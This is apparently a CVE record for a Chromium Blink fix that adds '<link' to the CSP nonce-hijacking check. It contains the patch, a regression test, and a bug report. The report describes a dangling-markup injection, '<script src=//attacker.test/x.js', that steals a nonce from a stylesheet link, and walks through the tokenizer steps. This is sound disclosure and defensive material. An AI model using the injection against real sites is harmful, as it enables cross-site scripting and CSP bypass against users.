CVE-2026-11264
Overview
Changed Functions
| Function | Change | Notes |
|---|---|---|
ifthird_party/blink/renderer/core/frame/csp/content_security_policy.cc |
modified | |
TEST_Fthird_party/blink/renderer/core/frame/csp/content_security_policy_test.cc |
modified | |
forthird_party/blink/renderer/core/frame/csp/content_security_policy_test.cc |
modified |
Files Changed
third_party/blink/renderer/core/frame/csp/content_security_policy.ccthird_party/blink/renderer/core/frame/csp/content_security_policy_test.cc
Patch
From 8da022a564667c47b5e0be16b2e20f63209ad97b Mon Sep 17 00:00:00 2001 From: Mike West <[email protected]> Date: Wed, 08 Apr 2026 01:39:21 -0700 Subject: [PATCH] [CSP] Add `<link` to nonceable element checks. We cover `<script` and `<style`, but `<link>` is also a nonceable element, so we should check for `<link` as well. Bug: 500099106 Change-Id: I468e6ec06339ac6c03ba379b3b5847a1e1e7f39c Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/7735434 Reviewed-by: Antonio Sartori <[email protected]> Commit-Queue: Mike West <[email protected]> Cr-Commit-Position: refs/heads/main@{#1611310} --- diff --git a/third_party/blink/renderer/core/frame/csp/content_security_policy.cc b/third_party/blink/renderer/core/frame/csp/content_security_policy.cc index 0ddb753a..33399df 100644 --- a/third_party/blink/renderer/core/frame/csp/content_security_policy.cc +++ b/third_party/blink/renderer/core/frame/csp/content_security_policy.cc @@ -228,8 +228,8 @@ // To prevent an attacker from hijacking an existing nonce via a dangling // markup injection, we walk through the attributes of each nonced script - // element: if their names or values contain "<script" or "<style", we won't - // apply the nonce when loading script. + // element: if their names or values contain "<script", "<style", or "<link", + // we won't apply the nonce when loading script. // // See http://blog.innerht.ml/csp-2015/#danglingmarkupinjection for an example // of the kind of attack this is aimed at mitigating. @@ -240,13 +240,16 @@ if (nonceable) { static const char kScriptString[] = "<SCRIPT"; static const char kStyleString[] = "<STYLE"; + static const char kLinkString[] = "<LINK"; for (const Attribute& attr : element->Attributes()) { const AtomicString& name = attr.LocalName(); const AtomicString& value = attr.Value(); if (name.FindIgnoringAsciiCase(kScriptString) != kNotFound || name.FindIgnoringAsciiCase(kStyleString) != kNotFound || + name.FindIgnoringAsciiCase(kLinkString) != kNotFound || value.FindIgnoringAsciiCase(kScriptString) != kNotFound || - value.FindIgnoringAsciiCase(kStyleString) != kNotFound) { + value.FindIgnoringAsciiCase(kStyleString) != kNotFound || + value.FindIgnoringAsciiCase(kLinkString) != kNotFound) { nonceable = false; break; } diff --git a/third_party/blink/renderer/core/frame/csp/content_security_policy_test.cc b/third_party/blink/renderer/core/frame/csp/content_security_policy_test.cc index 8e4014f..789a9fd 100644 --- a/third_party/blink/renderer/core/frame/csp/content_security_policy_test.cc +++ b/third_party/blink/renderer/core/frame/csp/content_security_policy_test.cc @@ -1852,4 +1852,38 @@ kSyntheticResponseBlockedResourceCountHistogramName), 2); } + +TEST_F(ContentSecurityPolicyTest, IsNonceableElement) { + auto dummy = std::make_unique<DummyPageHolder>(); + auto* window = dummy->GetFrame().DomWindow(); + + struct TestCase { + const char* tag; + const char* attr_name; + const char* attr_value; + bool expected_nonceable; + } cases[] = { + {"script", "src", "https://example.com/js", true}, + {"script", "data-foo", "<script", false}, + {"script", "<script", "foo", false}, + {"script", "data-foo", "<style", false}, + {"script", "<style", "foo", false}, + {"script", "<link", "foo", false}, + {"script", "data-foo", "<link", false}, + }; + + for (const auto& test : cases) { + auto* element = window->document()->CreateRawElement(QualifiedName( + AtomicString(), AtomicString(test.tag), html_names::xhtmlNamespaceURI)); + element->setAttribute(AtomicString(test.attr_name), + AtomicString(test.attr_value)); + element->setNonce(AtomicString("abc")); + + EXPECT_EQ(test.expected_nonceable, + ContentSecurityPolicy::IsNonceableElement(element)) + << "Tag: " << test.tag << ", Attr: " << test.attr_name << "=\"" + << test.attr_value << "\""; + } +} + } // namespace blink
Regression Test / PoC
diff --git a/third_party/blink/renderer/core/frame/csp/content_security_policy_test.cc b/third_party/blink/renderer/core/frame/csp/content_security_policy_test.cc
index 8e4014f..789a9fd 100644
--- a/third_party/blink/renderer/core/frame/csp/content_security_policy_test.cc
+++ b/third_party/blink/renderer/core/frame/csp/content_security_policy_test.cc
@@ -1852,4 +1852,38 @@
kSyntheticResponseBlockedResourceCountHistogramName),
2);
}
+
+TEST_F(ContentSecurityPolicyTest, IsNonceableElement) {
+ auto dummy = std::make_unique<DummyPageHolder>();
+ auto* window = dummy->GetFrame().DomWindow();
+
+ struct TestCase {
+ const char* tag;
+ const char* attr_name;
+ const char* attr_value;
+ bool expected_nonceable;
+ } cases[] = {
+ {"script", "src", "https://example.com/js", true},
+ {"script", "data-foo", "<script", false},
+ {"script", "<script", "foo", false},
+ {"script", "data-foo", "<style", false},
+ {"script", "<style", "foo", false},
+ {"script", "<link", "foo", false},
+ {"script", "data-foo", "<link", false},
+ };
+
+ for (const auto& test : cases) {
+ auto* element = window->document()->CreateRawElement(QualifiedName(
+ AtomicString(), AtomicString(test.tag), html_names::xhtmlNamespaceURI));
+ element->setAttribute(AtomicString(test.attr_name),
+ AtomicString(test.attr_value));
+ element->setNonce(AtomicString("abc"));
+
+ EXPECT_EQ(test.expected_nonceable,
+ ContentSecurityPolicy::IsNonceableElement(element))
+ << "Tag: " << test.tag << ", Attr: " << test.attr_name << "=\""
+ << test.attr_value << "\"";
+ }
+}
+
} // namespace blink
Original Bug Report
CSP nonce hijacking via missing '<LINK' blocklist in IsNonceableElement
Project Fortify, an experimental security project, has identified the following potential security issue. If you’re a feature owner CC-ed on this bug, please do your best to review these reports without the security team.
Overview: The IsNonceableElement function in Blink’s CSP implementation fails to include <LINK in its blocklist of forbidden attribute substrings. This allows an attacker to use a dangling markup injection to swallow a subsequent valid <link> tag and steal its nonce. If the site shares nonces between script-src and style-src, this can bypass CSP and lead to Cross-Site Scripting (XSS).
Affected files:
third_party/blink/renderer/core/frame/csp/content_security_policy.cc
Estimated timestamp from git blame: 2026-02-16
Summary
There is a potential vulnerability in how Blink enforces Content Security Policy (CSP) nonces against dangling markup injections. The function ContentSecurityPolicy::IsNonceableElement, which is designed to prevent injected tags from stealing nonces from legitimate tags, contains an incomplete blocklist. It blocks attributes containing <SCRIPT or <STYLE, but fails to block <LINK. This allows an attacker to hijack a nonce from a <link> tag, bypassing CSP if the nonce is shared with script-src.
Technical Details
When the HTML tokenizer encounters an unclosed tag, it can absorb subsequent markup into the unclosed tag as attributes. This is a known vector for stealing attributes like nonces.
To mitigate this, third_party/blink/renderer/core/frame/csp/content_security_policy.cc implements IsNonceableElement. Before returning a nonce for CSP evaluation, it scans all attribute names and values of an element. If any contain the substrings <SCRIPT or <STYLE (case-insensitive), it assumes the element is the result of a dangling markup injection and ignores the nonce.
// content_security_policy.cc:241-249
static const char kScriptString[] = "<SCRIPT";
static const char kStyleString[] = "<STYLE";
for (const Attribute& attr : element->Attributes()) {
const AtomicString& name = attr.LocalName();
const AtomicString& value = attr.Value();
if (name.FindIgnoringAsciiCase(kScriptString) != kNotFound ||
name.FindIgnoringAsciiCase(kStyleString) != kNotFound ||
// ...
However, this blocklist does not include <LINK.
Attack Vector
If a page uses a shared nonce for script-src and style-src (a common practice) and contains a nonced stylesheet link, an attacker can exploit this.
Victim HTML:
<div id="injection-point">
<!-- Attacker injects: <script src=//attacker.test/x.js -->
</div>
<link rel=stylesheet nonce="abc" href=legit.css>
<script nonce="abc">/* legitimate script */</script>
Suggested Steps to Trigger: (Note: These are potential steps based on code analysis; a live Proof of Concept has not been executed).
- The attacker injects
<script src="//attacker.test/x.js"(note the trailing space and omitted closing bracket). - The
HTMLTokenizerparses thesrcattribute. It then enterskBeforeAttributeNameState. - It encounters the
<from the victim’s<linktag. InkBeforeAttributeNameState, a<character triggers aParseError, but the tokenizer recovers by creating a new attribute that starts with<(html_tokenizer.cc:846). - The tokenizer enters
kAttributeNameStateand appendsl,i,n,kto the attribute name. - Subsequent parts of the victim’s tag (
rel="stylesheet",nonce="abc", etc.) are parsed as further attributes of the attacker’s script. - The
>from the victim’s tag closes the attacker’s script tag. - The resulting
HTMLScriptElementhas an attribute named<linkand the stolennonce="abc". - When the browser checks the CSP,
ScriptLoader::PrepareScriptcallsHTMLScriptElement::GetNonceForElement(), which callsIsNonceableElement. - Because
<linkis not in the<SCRIPT/<STYLEblocklist,IsNonceableElementreturnstrue. - The stolen nonce matches the
script-srcCSP directive, and the malicious script executes.
Suggested Fix
Add <LINK to the blocklist in ContentSecurityPolicy::IsNonceableElement.
static const char kScriptString[] = "<SCRIPT";
static const char kStyleString[] = "<STYLE";
static const char kLinkString[] = "<LINK";
// ... add checks for kLinkString
Evaluated with Chrome root at commit: f200f57a19490707ff8bc7aa5de3cbc443a3afad
Results so far have been promising, but there can be wrong deductions. If this proves to be a false positive, please close as WAI; data from false positives will be used to improve accuracy over time. And please feel free to reach out to me directly if you have concerns or feedback on the project.